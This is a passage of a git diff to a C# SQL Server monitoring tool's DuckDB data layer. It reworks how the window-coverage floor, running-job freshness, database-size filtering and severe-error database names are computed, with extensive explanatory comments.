+    /// (<c>get_top_queries_by_cpu</c>, <c>get_top_procedures_by_cpu</c>, <c>get_query_store_top</c>), so there is
+    /// one place that computes the floor rather than near-identical copies that can drift apart. Twin of Darling's
+    /// <c>DarlingDataReader.GetQueryStoreWindowFloorAsync</c> (#2364) and of #4953's <c>DataWindowFloor</c>: Lite's
+    /// <c>retention_days</c> is user-settable (lower it and the raw table is shorter than a "Last 7 days" ask), a
+    /// custom range can start before the archive's oldest month
+    /// (<see cref="RetentionService.ArchiveRetentionMonths"/>), and a server added mid-window has less history than
+    /// the window asks for regardless of the setting. The silent cut #2364 fixed on Darling's
+    /// <c>query_store_stats</c> can happen on any of these relations.
     ///
     /// <para>Reads the <c>v_</c> view, not the bare table: on a store with archived history that view is the
     /// hot table UNION ALL the parquet archive (<see cref="Database.DuckDbInitializer.CreateArchiveViewsAsync"/>),
-    /// so the floor this returns is the true floor of everything the matching grid or tool read, archive
-    /// included — never just the hot table's.</para>
+    /// so a row found here is a row of everything the matching grid or tool read, archive included, never just
+    /// the hot table's.</para>
+    ///
+    /// <para><b>Why it is not the oldest row.</b> Finding the server's oldest row means an unbounded
+    /// <c>MIN(collection_time)</c>, and DuckDB has no <c>(server_id, collection_time)</c> index to stop at the first
+    /// row, so it reads every archived row for the server. No caller needs it: a caller compares the result with the
+    /// window's start (<see cref="Mcp.McpQueryTools.IsWindowTruncated"/>) and, to word the window it covered,
+    /// clamps it (<see cref="Mcp.McpQueryTools.EffectiveWindowStart"/>), and any floor at or before the start gives
+    /// the same output. Whether the data reaches back to the start is the whole question, and the first row inside
+    /// the window alone cannot answer it on a sparse table (waiting_tasks holds a row only while something waits: a
+    /// quiet first stretch puts the window's own first row far past its start while older rows are stored, and a
+    /// probe that read only the window would raise a false banner).</para>
+    ///
+    /// <para><b>Active Queries, Current Waits, Plan Corrections, Memory Pressure Events and Procedure Stats read
+    /// coverage, not rows.</b> procedure_stats holds a row only for a procedure that did work in a cycle (#5449),
+    /// query_snapshots and waiting_tasks hold a row only while something runs or waits, plan_correction only
+    /// while the engine has a recommendation, and memory_pressure_events only where the ring buffer logged an event
+    /// (windowed on <c>sample_time</c>, see <see cref="QueryWindowRelationTimeColumn"/>), so a server idle overnight, or
+    /// one whose first waiting task came days after it was added, has no row near the window's start though the store
+    /// covered it. For these the collector's runs in <c>v_collection_log</c> count as well as rows: a run proves the collector was collecting
+    /// then. The log survives exactly as long as the table: it is archived and deleted by the same single horizon
+    /// (<see cref="RetentionService.ArchiveRetentionMonths"/>, the same monthly files), so a run older than the
+    /// window means the table's rows from then on are still held, and the first run inside the window is where
+    /// coverage starts, whether that is the server's first collection or the retention edge, whichever is later.
+    /// For these the probe answers NULL when the window holds no row and no run, the window's start when a
+    /// row or run sits at or before it, and otherwise the first row or run inside the window, whichever is
+    /// earlier. A covered window that holds no row (the collector ran, nothing waited) answers the start, so it
+    /// shows no banner.</para>
     ///
-    /// <para>Bounded on both sides of the window. An unbounded <c>MIN</c> would scan back to the start of
-    /// retention to answer a question about the window's edge; the upper bound is what lets DuckDB's zone-map
-    /// statistics prune row groups in the hot table AND skip whole files in the parquet glob, the same way the
-    /// callers' own <c>collection_time</c> filters do (no separate index needed — see
-    /// <c>DuckDbSchemaGenerator</c>'s <c>idx_query_store_time</c> comment neighbors for why the column stats
-    /// alone are enough here). Null when the window holds nothing at all, which the caller reports as "nothing
-    /// was read" rather than as a measured absence of activity.</para>
+    /// <para><b>The two steps.</b> The first is bounded on both sides, so DuckDB's zone-map statistics prune every
+    /// row group and parquet file outside the window; it ends the probe when the window holds no row (NULL, never
+    /// an old row or the start, either of which would read as the window having been served) or when its first row
+    /// is already at the start. Only when that first row sits after the start does a second query ask whether the
+    /// server holds ANY row before the start, <c>LIMIT 1</c>, which stops at the first hit.</para>
+    ///
+    /// <para><b>A time column in the server's wall clock (the Default Trace, #4989).</b> The Default Trace's <c>event_time</c>
+    /// is the monitored server's local time as stored, and its grid (<see cref="GetDefaultTraceEventsAsync"/>) converts each
+    /// row to UTC through the server's clock, so the probe does too, through <paramref name="serverClock"/>: the server's OWN
+    /// clock (#4766), or <see cref="ServerTimeHelper.ActiveServerClock"/> when it is <c>null</c>, which is what that grid
+    /// falls back to. For that relation the two steps above read the candidate rows in the grid's padded server-local window,
+    /// convert each to UTC with the offset at the row's own date (so the answer is exact across a daylight-saving change), and
+    /// take the earlier of the first row and the collector's first run, which is UTC, in C#
+    /// (<c>GetServerLocalQueryWindowFloorAsync</c>). Every UTC relation, system_health's included (the XE <c>@timestamp</c>),
+    /// keeps the single-query path and ignores the clock.</para>
+    ///
+    /// <para><b>A grid fed by two collectors (the Blocked Process Reports grid, #4966).</b> The grid lists the XE collector's
+    /// reports and, beside them, the always-on DMV blocking snapshots, so for it the answer is the earlier of the two
+    /// collectors' (<see cref="QueryWindowRelationAlsoCoveredBy"/>, <see cref="EarlierCoverageFloor"/>): a null answer from
+    /// one (no row and no logged run of that collector in the window) gives way to the other's. A tool that reads only the
+    /// first collector's rows (the report XML) passes <c>includeAlsoCovered: false</c> to probe that collector alone.</para>
     /// </summary>
-    public async Task<DateTime?> GetQueryWindowFloorAsync(QueryWindowRelation relation, int serverId, DateTime startUtc, DateTime endUtc)
+    public async Task<DateTime?> GetQueryWindowFloorAsync(QueryWindowRelation relation, int serverId, DateTime startUtc, DateTime endUtc, ServerClock? serverClock = null, bool includeAlsoCovered = true, CancellationToken cancellationToken = default)
+    {
+        var own = await GetOwnQueryWindowFloorAsync(relation, serverId, startUtc, endUtc, serverClock, cancellationToken);
+        return includeAlsoCovered && QueryWindowRelationAlsoCoveredBy(relation) is QueryWindowRelation also
+            ? EarlierCoverageFloor(own, await GetOwnQueryWindowFloorAsync(also, serverId, startUtc, endUtc, serverClock, cancellationToken))
+            : own;
+    }
+
+    /// <summary>One relation's own probe, which <see cref="GetQueryWindowFloorAsync"/> documents. Each call opens and releases its
+    /// own connection, so the two answers of a grid fed by two collectors never nest the non-recursive read lock.</summary>
+    private async Task<DateTime?> GetOwnQueryWindowFloorAsync(QueryWindowRelation relation, int serverId, DateTime startUtc, DateTime endUtc, ServerClock? serverClock, CancellationToken cancellationToken = default)
     {
         var view = QueryWindowRelationView(relation);
-        using var _q = TimeQuery("GetQueryWindowFloorAsync", $"{view} MIN(collection_time) window floor");
-        using var connection = await OpenConnectionAsync();
-        using var command = connection.CreateCommand();
-        command.CommandText = $@"
-SELECT MIN(collection_time)
+        using var _q = TimeQuery("GetQueryWindowFloorAsync", $"{view} window floor");
+        /* #5371: a token (the Collection Health pass's) reaches the lock wait, the open and the two statements of the generic
+           path below; a caller that passes none keeps the original uninterruptible read. */
+        using var connection = await OpenConnectionAsync(timer: null, cancellationToken);
+
+        var collector = QueryWindowRelationCollector(relation);
+        var timeColumn = QueryWindowRelationTimeColumn(relation);
+
+        /* #4989: a time column that holds the server's wall clock (the Default Trace) goes through the clock, the way the
+           grid reads it. Every UTC relation keeps the single-query path below. */
+        if (QueryWindowRelationTimeIsServerLocal(relation))
+        {
+            return await GetServerLocalQueryWindowFloorAsync(
+                connection, view, timeColumn, collector, serverId, startUtc, endUtc, serverClock ?? ServerTimeHelper.ActiveServerClock);
+        }
+
+        DateTime? firstInWindow;
+        using (var windowCommand = connection.CreateCommand())
+        {
+            /* Coverage relations take the earlier of the first row and the collector's first run in the window.
+               LEAST skips a NULL, so either one alone answers. */
+            windowCommand.CommandText = collector is null
+                ? $@"
+SELECT MIN({timeColumn})
+FROM {view}
+WHERE server_id = $1
+AND   {timeColumn} >= $2
+AND   {timeColumn} <= $3"
+                : $@"
+SELECT LEAST(
+    (SELECT MIN({timeColumn}) FROM {view} WHERE server_id = $1 AND {timeColumn} >= $2 AND {timeColumn} <= $3),
+    (SELECT MIN(collection_time) FROM v_collection_log WHERE server_id = $1 AND collector_name = '{collector}' AND collection_time >= $2 AND collection_time <= $3))";
+            windowCommand.Parameters.Add(new DuckDBParameter { Value = serverId });
+            windowCommand.Parameters.Add(new DuckDBParameter { Value = startUtc });
+            windowCommand.Parameters.Add(new DuckDBParameter { Value = endUtc });
+            firstInWindow = await windowCommand.ExecuteScalarAsync(cancellationToken) is DateTime first ? first : null;
+        }
+
+        if (firstInWindow is not DateTime firstRow || firstRow <= startUtc)
+        {
+            return firstInWindow;
+        }
+
+        using (var olderCommand = connection.CreateCommand())
+        {
+            olderCommand.CommandText = $@"
+SELECT 1
+FROM {view}
+WHERE server_id = $1
+AND   {timeColumn} < $2
+LIMIT 1";
+            olderCommand.Parameters.Add(new DuckDBParameter { Value = serverId });
+            olderCommand.Parameters.Add(new DuckDBParameter { Value = startUtc });
+            if (await olderCommand.ExecuteScalarAsync(cancellationToken) is not null)
+            {
+                return startUtc;
+            }
+        }
+
+        if (collector is null)
+        {
+            return firstRow;
+        }
+
+        /* No older row: an older run of the collector still proves the window is covered. */
+        return await HasCollectorRunBeforeAsync(connection, collector, serverId, startUtc) ? startUtc : firstRow;
+    }
+
+    /// <summary>Whether the collector's runs in <c>v_collection_log</c> (<c>collection_time</c>, UTC) include one before
+    /// <paramref name="startUtc"/>.</summary>
+    private static async Task<bool> HasCollectorRunBeforeAsync(LockedConnection connection, string collector, int serverId, DateTime startUtc)
+    {
+        using var olderRunCommand = connection.CreateCommand();
+        olderRunCommand.CommandText = $@"
+SELECT 1
+FROM v_collection_log
+WHERE server_id = $1
+AND   collector_name = '{collector}'
+AND   collection_time < $2
+LIMIT 1";
+        olderRunCommand.Parameters.Add(new DuckDBParameter { Value = serverId });
+        olderRunCommand.Parameters.Add(new DuckDBParameter { Value = startUtc });
+        return await olderRunCommand.ExecuteScalarAsync() is not null;
+    }
+
+    /// <summary>
+    /// <see cref="GetQueryWindowFloorAsync"/> for a relation whose time column is the monitored server's wall clock (#4989:
+    /// the Default Trace's <c>event_time</c>). It answers what the UTC path answers, from the rows the grid shows
+    /// (<see cref="GetDefaultTraceEventsAsync"/>), so a banner never names a time later than the earliest row its grid shows.
+    /// <list type="number">
+    /// <item>The candidate rows are read over the grid's pre-filter: the server-local bounds of the UTC window, an hour wider
+    /// on each side, which covers a daylight-saving change inside the span. Each row is converted to UTC through
+    /// <paramref name="clock"/>, which takes the offset in force at the row's own date (#4766), and the converted times give
+    /// the earliest row inside [<paramref name="startUtc"/>, <paramref name="endUtc"/>] and whether a row sits before the
+    /// start. The scan reads the one column over a span the grid reads whole.</item>
+    /// <item>The collector's runs in <c>v_collection_log</c> are UTC, so they are not converted: the earlier of the first run
+    /// and the first row is taken here, in C#, not by one SQL <c>LEAST</c> over a wall-clock column and a UTC one.</item>
+    /// <item>When that first time is after the start, the server holds an older row if the scan found one that converts to a
+    /// time before the start, or if any row sits below the pre-filter's lower bound (more than an hour before the start at
+    /// any offset the clock holds, so it needs no conversion). Then an older run of the collector counts, as on the UTC path.</item>
+    /// </list>
+    /// </summary>
+    private static async Task<DateTime?> GetServerLocalQueryWindowFloorAsync(
+        LockedConnection connection, string view, string timeColumn, string? collector, int serverId,
+        DateTime startUtc, DateTime endUtc, ServerClock clock)
+    {
+        /* The grid's pre-filter, bound for bound (GetDefaultTraceEventsAsync). */
+        var padStart = clock.ToServerLocal(startUtc).AddHours(-1);
+        var padEnd = clock.ToServerLocal(endUtc).AddHours(1);
+
+        DateTime? firstRow = null;
+        var olderRowInPad = false;
+        using (var rowsCommand = connection.CreateCommand())
+        {
+            rowsCommand.CommandText = $@"
+SELECT {timeColumn}
 FROM {view}
 WHERE server_id = $1
+AND   {timeColumn} >= $2
+AND   {timeColumn} <= $3";
+            rowsCommand.Parameters.Add(new DuckDBParameter { Value = serverId });
+            rowsCommand.Parameters.Add(new DuckDBParameter { Value = padStart });
+            rowsCommand.Parameters.Add(new DuckDBParameter { Value = padEnd });
+            using var reader = await rowsCommand.ExecuteReaderAsync();
+            while (await reader.ReadAsync())
+            {
+                var eventUtc = clock.ToUtc(reader.GetDateTime(0));
+                if (eventUtc < startUtc)
+                {
+                    olderRowInPad = true;
+                }
+                else if (eventUtc <= endUtc && (firstRow is null || eventUtc < firstRow))
+                {
+                    firstRow = eventUtc;
+                }
+            }
+        }
+
+        DateTime? firstRun = null;
+        if (collector is not null)
+        {
+            using var runCommand = connection.CreateCommand();
+            runCommand.CommandText = $@"
+SELECT MIN(collection_time)
+FROM v_collection_log
+WHERE server_id = $1
+AND   collector_name = '{collector}'
 AND   collection_time >= $2
 AND   collection_time <= $3";
-        command.Parameters.Add(new DuckDBParameter { Value = serverId });
-        command.Parameters.Add(new DuckDBParameter { Value = startUtc });
-        command.Parameters.Add(new DuckDBParameter { Value = endUtc });
-        var result = await command.ExecuteScalarAsync();
-        return result is DateTime dt ? dt : null;
+            runCommand.Parameters.Add(new DuckDBParameter { Value = serverId });
+            runCommand.Parameters.Add(new DuckDBParameter { Value = startUtc });
+            runCommand.Parameters.Add(new DuckDBParameter { Value = endUtc });
+            firstRun = await runCommand.ExecuteScalarAsync() is DateTime run ? run : null;
+        }
+
+        var first = firstRow;
+        if (firstRun is DateTime firstRunUtc && (first is null || firstRunUtc < first))
+        {
+            first = firstRunUtc;
+        }
+
+        /* As the UTC path: nothing in the window answers NULL, and a first time at the start is the answer. */
+        if (first is not DateTime firstInWindow || firstInWindow <= startUtc)
+        {
+            return first;
+        }
+
+        if (olderRowInPad)
+        {
+            return startUtc;
+        }
+
+        using (var olderCommand = connection.CreateCommand())
+        {
+            olderCommand.CommandText = $@"
+SELECT 1
+FROM {view}
+WHERE server_id = $1
+AND   {timeColumn} < $2
+LIMIT 1";
+            olderCommand.Parameters.Add(new DuckDBParameter { Value = serverId });
+            olderCommand.Parameters.Add(new DuckDBParameter { Value = padStart });
+            if (await olderCommand.ExecuteScalarAsync() is not null)
+            {
+                return startUtc;
+            }
+        }
+
+        return collector is not null && await HasCollectorRunBeforeAsync(connection, collector, serverId, startUtc)
+            ? startUtc
+            : firstInWindow;
     }
 }
diff --git a/Lite/Services/LocalDataService.RunningJobs.cs b/Lite/Services/LocalDataService.RunningJobs.cs
index bee3bdec15..93c1d07fc8 100644
--- a/Lite/Services/LocalDataService.RunningJobs.cs
+++ b/Lite/Services/LocalDataService.RunningJobs.cs
@@ -10,6 +10,7 @@
 using System.Collections.Generic;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
+using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Analysis.Baselines;
 
 namespace PerformanceMonitorLite.Services;
@@ -17,11 +18,71 @@ namespace PerformanceMonitorLite.Services;
 public partial class LocalDataService
 {
     /// <summary>
-    /// Gets the latest snapshot of running jobs for a server.
-    /// Returns only the most recent collection_time's data.
+    /// Gets the latest snapshot of running jobs for a server, and only while that snapshot is the
+    /// collector's CURRENT answer.
+    /// <para>The collector writes no row when no job is running, so "the newest snapshot ever written"
+    /// can be weeks old: the tab then listed a job that ended days ago as running now. The collector's own
+    /// latest SUCCESSFUL run (<c>v_collection_log</c>, which records a SUCCESS with zero rows for a run that
+    /// found nothing) decides: a run that stored rows means the newest snapshot is that run's, and a run that
+    /// stored none means nothing is running, unless a snapshot newer than that log row exists (a run whose
+    /// rows are stored but whose log row is not written yet). A store with no such log row (retention) keeps
+    /// the newest snapshot, as before. Darling's twin is <c>ViewerDataService.RunningJobsSql</c>.</para>
+    /// <para>The snapshot must also be recent: one older than the alert read's #1812 bound (<see cref="RunningJobsCurrency.Cutoff"/>,
+    /// three missed cycles at the effective running_jobs cadence) is not listed, whatever the log says. Without that, a server that
+    /// went offline while a job ran (only failed runs after it), a lost msdb login or a collector switched off left the job reading
+    /// as running for days.</para>
     /// </summary>
     public async Task<List<RunningJobRow>> GetRunningJobsAsync(int serverId)
+        => (await ReadRunningJobsAsync(serverId)).Jobs;
+
+    /// <summary>
+    /// The running_jobs collector's schedule cadence for a server, in minutes: the schedule the app runs it on, else the shipped
+    /// default. The #1812 freshness bound is taken at this cadence (<see cref="RunningJobsCurrency"/>).
+    /// </summary>
+    private int RunningJobsCadenceMinutes(int serverId)
+    {
+        var resolved = CollectorFrequencyMinutes?.Invoke(serverId, "running_jobs") ?? 0;
+        if (resolved > 0)
+        {
+            return resolved;
+        }
+
+        return PerformanceMonitor.Collectors.CollectorScheduleDefaults.All.TryGetValue("running_jobs", out var schedule)
+            ? schedule.FrequencyMinutes
+            : 2;
+    }
+
+    /// <summary>
+    /// The running jobs, and when they are not current the time of the last good collection. <see cref="LastGoodCollection"/> is
+    /// set only when <see cref="Jobs"/> is empty because the collector's last good collection is older than the freshness bound
+    /// (#1812), so a tab or tool can say collection is not current instead of "no jobs are running".
+    /// </summary>
+    public sealed record RunningJobsRead(List<RunningJobRow> Jobs, DateTime? LastGoodCollection);
+
+    /// <summary>The newest collection time for the running_jobs collector: its latest SUCCESS run (a run that found nothing logs
+    /// SUCCESS with zero rows) or its newest snapshot, whichever is later. Darling's twin is <c>ViewerDataService.RunningJobsLastGoodCollectionSql</c>.</summary>
+    internal const string RunningJobsLastGoodCollectionSql = @"
+SELECT MAX(t)
+FROM
+(
+    SELECT MAX(collection_time) AS t
+    FROM v_collection_log
+    WHERE server_id = $1
+    AND   collector_name = 'running_jobs'
+    AND   status = 'SUCCESS'
+    UNION ALL
+    SELECT MAX(collection_time)
+    FROM v_running_jobs
+    WHERE server_id = $1
+) AS x";
+
+    /// <summary>
+    /// <see cref="GetRunningJobsAsync"/> with the not-current verdict: when no job is listed because the collector's last good
+    /// collection is older than the freshness bound, <see cref="RunningJobsRead.LastGoodCollection"/> carries its time.
+    /// </summary>
+    public async Task<RunningJobsRead> ReadRunningJobsAsync(int serverId)
     {
+        var cutoff = RunningJobsCurrency.Cutoff(DateTime.UtcNow, RunningJobsCadenceMinutes(serverId));
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
         command.CommandText = @"
@@ -37,38 +98,81 @@ public async Task<List<RunningJobRow>> GetRunningJobsAsync(int serverId)
     successful_run_count,
     is_running_long,
     percent_of_average
-FROM v_running_jobs
+FROM v_running_jobs AS j
 WHERE server_id = $1
 AND   collection_time = (
     SELECT MAX(collection_time)
     FROM v_running_jobs
     WHERE server_id = $1
 )
+AND   collection_time >= $2
+AND   (
+    NOT EXISTS
+    (
+        SELECT 1
+        FROM v_collection_log
+        WHERE server_id = $1
+        AND   collector_name = 'running_jobs'
+        AND   status = 'SUCCESS'
+    )
+    OR EXISTS
+    (
+        SELECT 1
+        FROM
+        (
+            SELECT collection_time, rows_collected
+            FROM v_collection_log
+            WHERE server_id = $1
+            AND   collector_name = 'running_jobs'
+            AND   status = 'SUCCESS'
+            ORDER BY collection_time DESC
+            LIMIT 1
+        ) AS last_run
+        WHERE last_run.rows_collected IS NULL
+        OR    last_run.rows_collected > 0
+        OR    j.collection_time > last_run.collection_time
+    )
+)
 ORDER BY current_duration_seconds DESC";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        command.Parameters.Add(new DuckDBParameter { Value = cutoff });
 
         var items = new List<RunningJobRow>();
-        using var reader = await command.ExecuteReaderAsync();
-        while (await reader.ReadAsync())
+        using (var reader = await command.ExecuteReaderAsync())
         {
-            items.Add(new RunningJobRow
+            while (await reader.ReadAsync())
             {
-                CollectionTime = reader.GetDateTime(0),
-                JobName = reader.GetString(1),
-                JobId = reader.GetString(2),
-                JobEnabled = reader.GetBoolean(3),
-                StartTime = reader.GetDateTime(4),
-                CurrentDurationSeconds = ToInt64(reader.GetValue(5)),
-                AvgDurationSeconds = ToInt64(reader.GetValue(6)),
-                P95DurationSeconds = ToInt64(reader.GetValue(7)),
-                SuccessfulRunCount = ToInt64(reader.GetValue(8)),
-                IsRunningLong = reader.GetBoolean(9),
-                PercentOfAverage = reader.IsDBNull(10) ? null : Convert.ToDecimal(reader.GetValue(10))
-            });
+                items.Add(new RunningJobRow
+                {
+                    CollectionTime = reader.GetDateTime(0),
+                    JobName = reader.GetString(1),
+                    JobId = reader.GetString(2),
+                    JobEnabled = reader.GetBoolean(3),
+                    StartTime = reader.GetDateTime(4),
+                    CurrentDurationSeconds = ToInt64(reader.GetValue(5)),
+                    AvgDurationSeconds = ToInt64(reader.GetValue(6)),
+                    P95DurationSeconds = ToInt64(reader.GetValue(7)),
+                    SuccessfulRunCount = ToInt64(reader.GetValue(8)),
+                    IsRunningLong = reader.GetBoolean(9),
+                    PercentOfAverage = reader.IsDBNull(10) ? null : Convert.ToDecimal(reader.GetValue(10))
+                });
+            }
         }
 
-        return items;
+        if (items.Count > 0)
+        {
+            return new RunningJobsRead(items, null);
+        }
+
+        /* Nothing listed: it reads as "not current" only when the collector's last good collection is older than the bound. A healthy
+           collector that found no job logs a recent SUCCESS, so this stays null for it. */
+        using var lastGood = connection.CreateCommand();
+        lastGood.CommandText = RunningJobsLastGoodCollectionSql;
+        lastGood.Parameters.Add(new DuckDBParameter { Value = serverId });
+        var last = await lastGood.ExecuteScalarAsync();
+        DateTime? lastGoodTime = last is null or DBNull ? null : Convert.ToDateTime(last);
+        return new RunningJobsRead(items, RunningJobsCurrency.NotCurrentSince(lastGoodTime, cutoff));
     }
 
     /// <summary>
@@ -205,6 +309,13 @@ public class RunningJobRow
     /// honours.</summary>
     public string StartTimeLocal => ServerTimeHelper.FormatServerClock(StartTime);
 
+    /// <summary>#4966: when the snapshot this row belongs to was collected, to the second, in the display zone. The Running Jobs
+    /// grid draws only the newest snapshot, so this is what tells a stale grid from a fresh one. <c>collection_time</c> is the
+    /// collector's own UTC stamp, so it is worded from the instant (<see cref="ServerTimeHelper.FormatServerTime(DateTime, string)"/>,
+    /// like the Automatic Tuning grid's Collected column), unlike <see cref="StartTimeLocal"/>, which is the server's wall clock.
+    /// The column sorts by <see cref="CollectionTime"/>.</summary>
+    public string CollectionTimeLocal => ServerTimeHelper.FormatServerTime(CollectionTime);
+
     public string CurrentDurationFormatted => FormatDuration(CurrentDurationSeconds);
     public string AvgDurationFormatted => FormatDuration(AvgDurationSeconds);
     public string P95DurationFormatted => FormatDuration(P95DurationSeconds);
diff --git a/Lite/Services/LocalDataService.RuntimePrecondition.cs b/Lite/Services/LocalDataService.RuntimePrecondition.cs
index c1cea1ee36..507a070dd3 100644
--- a/Lite/Services/LocalDataService.RuntimePrecondition.cs
+++ b/Lite/Services/LocalDataService.RuntimePrecondition.cs
@@ -25,7 +25,7 @@ public partial class LocalDataService
     /// SESSION_MISSING from three days ago on a collector that has succeeded since describes something
     /// somebody already fixed. Deliberately takes no <c>asOfUtc</c> — a precondition is a property of the
     /// server now, not of the window the caller asked about, and accepting an anchor here would invite a
-    /// caller to believe otherwise. Mirrors Darling's <c>DarlingRuntimePrecondition</c> read.</para>
+    /// caller to believe otherwise. Darling's <c>DarlingRuntimePrecondition</c> read orders by time first (#4974); Lite keeps the id order because it stamps <c>collection_time</c> with the run's START time but takes the id when the run is logged, so here the id order is the completion order.</para>
     /// </summary>
     public async Task<(string? Status, string? ErrorMessage, DateTime? ObservedUtc)> GetLatestCollectorOutcomeAsync(
         int serverId, string collectorName)
diff --git a/Lite/Services/LocalDataService.ServerInfo.cs b/Lite/Services/LocalDataService.ServerInfo.cs
index 095eae87b9..90f076b574 100644
--- a/Lite/Services/LocalDataService.ServerInfo.cs
+++ b/Lite/Services/LocalDataService.ServerInfo.cs
@@ -139,22 +139,29 @@ ORDER BY collection_time DESC
 
     /// <summary>
     /// Gets the latest database size stats (file sizes, volume space).
+    /// <para>#5244: <paramref name="databaseNames"/> (null or empty = every database) limits the ROWS of the newest snapshot. The
+    /// snapshot itself is the server's newest whatever the filter, so a filtered and an unfiltered call carry the same
+    /// <c>collection_time</c>. Darling's <c>GetLatestDatabaseSizesAsync</c> is the twin.</para>
     /// </summary>
-    public async Task<List<DatabaseSizeStatsRow>> GetLatestDatabaseSizeStatsAsync(int serverId)
+    public async Task<List<DatabaseSizeStatsRow>> GetLatestDatabaseSizeStatsAsync(
+        int serverId, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
-        command.CommandText = @"
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 2, out var dbValues);
+        command.CommandText = $@"
 SELECT database_name, file_name, file_type_desc, physical_name,
        total_size_mb, used_size_mb, auto_growth_mb, max_size_mb,
        volume_mount_point, volume_total_mb, volume_free_mb,
        collection_time, file_id
 FROM v_database_size_stats
 WHERE server_id = $1
-AND   collection_time = (SELECT MAX(collection_time) FROM v_database_size_stats WHERE server_id = $1)
+AND   collection_time = (SELECT MAX(collection_time) FROM v_database_size_stats WHERE server_id = $1){dbClause}
 ORDER BY database_name, file_type_desc, file_name";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<DatabaseSizeStatsRow>();
         using var reader = await command.ExecuteReaderAsync();
diff --git a/Lite/Services/LocalDataService.SessionStats.cs b/Lite/Services/LocalDataService.SessionStats.cs
index 38a36ac3eb..9710a9703d 100644
--- a/Lite/Services/LocalDataService.SessionStats.cs
+++ b/Lite/Services/LocalDataService.SessionStats.cs
@@ -53,7 +53,7 @@ public async Task<List<SessionStatsPoint>> GetSessionStatsAsync(int serverId, in
 
         var rows = new List<(DateTime BucketStart, int Total, int Running, int Sleeping, int Background, int Dormant,
             int Idle, int WaitingForMemory, int DatabasesWithConnections, string? TopAppName, int? TopAppConnections,
-            string? TopHostName, int? TopHostConnections, DateTime FirstCollectionTime, long CollectionCount)>();
+            string? TopHostName, int? TopHostConnections, DateTime FirstCollectionTime, long CollectionCount, DateTime LatestCollectionTime)>();
         var everyBucketSingleton = true;
 
         using var reader = await command.ExecuteReaderAsync();
@@ -80,7 +80,8 @@ public async Task<List<SessionStatsPoint>> GetSessionStatsAsync(int serverId, in
                 reader.IsDBNull(11) ? null : reader.GetString(11),
                 reader.IsDBNull(12) ? null : reader.GetInt32(12),
                 reader.GetDateTime(13),
-                collectionCount));
+                collectionCount,
+                reader.GetDateTime(15)));
         }
 
         var items = new List<SessionStatsPoint>(rows.Count);
@@ -100,7 +101,8 @@ public async Task<List<SessionStatsPoint>> GetSessionStatsAsync(int serverId, in
                 TopApplicationName = row.TopAppName,
                 TopApplicationConnections = row.TopAppConnections,
                 TopHostName = row.TopHostName,
-                TopHostConnections = row.TopHostConnections
+                TopHostConnections = row.TopHostConnections,
+                LatestCollectionTime = row.LatestCollectionTime
             });
         }
 
@@ -160,6 +162,7 @@ latest AS
 (
     SELECT
         bucket_start,
+        collection_time AS latest_collection_time,
         top_application_name,
         top_application_connections,
         top_host_name,
@@ -182,7 +185,8 @@ QUALIFY ROW_NUMBER() OVER (PARTITION BY bucket_start ORDER BY collection_time DE
     latest.top_host_name,
     latest.top_host_connections,
     agg.first_collection_time,
-    agg.collection_count
+    agg.collection_count,
+    latest.latest_collection_time
 FROM agg
 JOIN latest ON latest.bucket_start = agg.bucket_start
 ORDER BY agg.bucket_start";
@@ -206,4 +210,9 @@ public class SessionStatsPoint : ISessionStatsPoint
     public int? TopApplicationConnections { get; set; }
     public string? TopHostName { get; set; }
     public int? TopHostConnections { get; set; }
+
+    /// <summary>#4966: the time of the NEWEST physical collection inside this point's bucket, the one <see cref="TopApplicationName"/> and
+    /// <see cref="TopHostName"/> come from. <see cref="CollectionTime"/> is the bucket's grid time (or its first collection), so the
+    /// summary strip's Collected figure reads this one.</summary>
+    public DateTime LatestCollectionTime { get; set; }
 }
diff --git a/Lite/Services/LocalDataService.SystemEvents.cs b/Lite/Services/LocalDataService.SystemEvents.cs
index dfd8cc84b9..b08b8e1f90 100644
--- a/Lite/Services/LocalDataService.SystemEvents.cs
+++ b/Lite/Services/LocalDataService.SystemEvents.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Linq;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
 using PerformanceMonitor.Analysis.Baselines;
@@ -84,8 +85,8 @@ public sealed class SchedulerIssueRow(SchedulerIssueRecord record)
 
 /// <summary>
 /// One severe-error row (Severe Errors sub-tab). Mirrors sp_HealthParser's <c>*_SevereErrors</c>.
-/// <see cref="DatabaseName"/> is resolved from the store's collected database_id -> database_name mapping
-/// (see <see cref="LocalDataService.ResolveDatabaseName"/>) — the pure shred left it null.
+/// <see cref="DatabaseName"/> is resolved from the store's collected database_id -> database_name history, the name the id carried at
+/// the error's time (see <see cref="DatabaseNameHistory"/>, #5373) — the pure shred left it null.
 /// </summary>
 public sealed class SevereErrorRow(SevereErrorRecord record, string databaseName)
 {
@@ -373,21 +374,31 @@ public async Task<List<SevereErrorRow>> GetSevereErrorsAsync(int serverId, int h
     {
         using var _q = TimeQuery("GetSevereErrorsAsync", "v_system_health_events error_reported shred");
         var (startTime, endTime) = GetTimeRange(hoursBack, fromDate, toDate, asOfUtc);
-        var map = await GetDatabaseNameMapAsync(serverId);
         var xmls = await ReadSystemHealthEventXmlAsync(serverId, startTime, endTime, SystemHealthParser.ErrorReportedEvent);
 
-        var filter = databaseNames is { Count: > 0 } ? new HashSet<string>(databaseNames, StringComparer.OrdinalIgnoreCase) : null;
-
-        var rows = new List<SevereErrorRow>();
+        var records = new List<SevereErrorRecord>();
         foreach (var xml in xmls)
         {
             var record = SystemHealthParser.ParseSevereError(xml);
             if (record != null && SystemHealthSignificance.IsSignificant(record))
-            {
-                var databaseName = ResolveDatabaseName(record.DatabaseId, map);
-                if (filter == null || filter.Contains(databaseName))
-                    rows.Add(new SevereErrorRow(record, databaseName));
-            }
+                records.Add(record);
+        }
+
+        /* #5373: each error is named by what its database_id carried at the error's own time (the collected
+           database-size snapshots), not by the server's latest name for the id. */
+        var names = await GetDatabaseNameHistoryAsync(
+            serverId, records.Select(r => (r.DatabaseId, r.EventTime)));
+
